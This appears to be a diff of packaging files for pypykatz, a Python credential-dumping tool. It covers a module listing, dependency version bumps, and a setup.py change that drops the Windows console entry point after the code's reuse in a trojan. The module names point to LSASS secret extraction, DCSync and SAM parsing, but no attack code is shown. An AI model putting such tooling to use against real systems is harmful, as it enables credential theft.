99160 pypykatz/lsadecryptor/package_commons.py
100161 pypykatz/lsadecryptor/packages/__init__.py
162 pypykatz/lsadecryptor/packages/cloudap/__init__.py
163 pypykatz/lsadecryptor/packages/cloudap/decryptor.py
164 pypykatz/lsadecryptor/packages/cloudap/templates.py
101165 pypykatz/lsadecryptor/packages/credman/__init__.py
102166 pypykatz/lsadecryptor/packages/credman/templates.py
103167 pypykatz/lsadecryptor/packages/dpapi/__init__.py
124188 pypykatz/plugins/__init__.py
125189 pypykatz/plugins/pypykatz_rekall.py
126190 pypykatz/registry/__init__.py
191 pypykatz/registry/aoffline_parser.py
127192 pypykatz/registry/cmdhelper.py
128193 pypykatz/registry/live_parser.py
129194 pypykatz/registry/offline_parser.py
130195 pypykatz/registry/sam/__init__.py
196 pypykatz/registry/sam/asam.py
131197 pypykatz/registry/sam/common.py
132198 pypykatz/registry/sam/sam.py
133199 pypykatz/registry/sam/structures.py
134200 pypykatz/registry/security/__init__.py
201 pypykatz/registry/security/asecurity.py
135202 pypykatz/registry/security/common.py
136203 pypykatz/registry/security/security.py
137204 pypykatz/registry/security/structures.py
138205 pypykatz/registry/software/__init__.py
206 pypykatz/registry/software/asoftware.py
139207 pypykatz/registry/software/software.py
140208 pypykatz/registry/system/__init__.py
209 pypykatz/registry/system/asystem.py
141210 pypykatz/registry/system/system.py
142211 pypykatz/remote/__init__.py
143212 pypykatz/remote/cmdhelper.py
150219 pypykatz/remote/live/session/enumerator.py
151220 pypykatz/remote/live/share/__init__.py
152221 pypykatz/remote/live/share/enumerator.py
222 pypykatz/smb/__init__.py
223 pypykatz/smb/cmdhelper.py
224 pypykatz/smb/dcsync.py
225 pypykatz/smb/lsassutils.py
226 pypykatz/smb/regutils.py
227 pypykatz/smb/shareenum.py
153228 pypykatz/utils/__init__.py
154229 pypykatz/utils/crypto/__init__.py
155230 pypykatz/utils/crypto/cmdhelper.py
156231 pypykatz/utils/crypto/gppassword.py
157 pypykatz/utils/crypto/winhash.py
158 pypykatz/utils/sake/__init__.py
159 pypykatz/utils/sake/sake.py
232 pypykatz/utils/crypto/winhash.py
0 minidump>=0.0.12
1 minikerberos>=0.2.0
2 aiowinreg>=0.0.3
3 msldap>=0.2.7
4 winsspi>=0.0.3
0 aiosmb>=0.2.40
1 aiowinreg>=0.0.4
2 minidump>=0.0.17
3 minikerberos>=0.2.10
4 msldap>=0.3.27
5 winacl>=0.1.1
00 from setuptools import setup, find_packages
11 import re
2 import platform
23
34 VERSIONFILE="pypykatz/_version.py"
45 verstrline = open(VERSIONFILE, "rt").read()
910 else:
1011 raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,))
1112
13 ep = {
14 'console_scripts': [
15 'pypykatz = pypykatz.__main__:main',
16 ],
17 }
18
1219 setup(
1320 # Application name:
1421 name="pypykatz",
1825
1926 # Application author details:
2027 author="Tamas Jos",
21 author_email="[email protected]",
28 author_email="[email protected]",
2229
2330 # Packages
2431 packages=find_packages(),
4350 "Operating System :: OS Independent",
4451 ),
4552 install_requires=[
46 'minidump>=0.0.12',
47 'minikerberos>=0.2.0',
48 'aiowinreg>=0.0.3',
49 'msldap>=0.2.7',
50 'winsspi>=0.0.3'
53 'minidump>=0.0.17',
54 'minikerberos>=0.2.10',
55 'aiowinreg>=0.0.4',
56 'msldap>=0.3.27',
57 'winacl>=0.1.1',
58 'aiosmb>=0.2.40',
5159 ],
5260
53 entry_points={
54 'console_scripts': [
55 'pypykatz = pypykatz.__main__:main',
56 ],
57 }
61 # No more conveinent .exe entry point thanks to some idiot who
62 # used the code without modification in a state-backed trojan.
63 # Thank you for runing it for everyone.
64 #
65 #
66 entry_points=ep if platform.system().lower() != 'windows' else {}
5867 )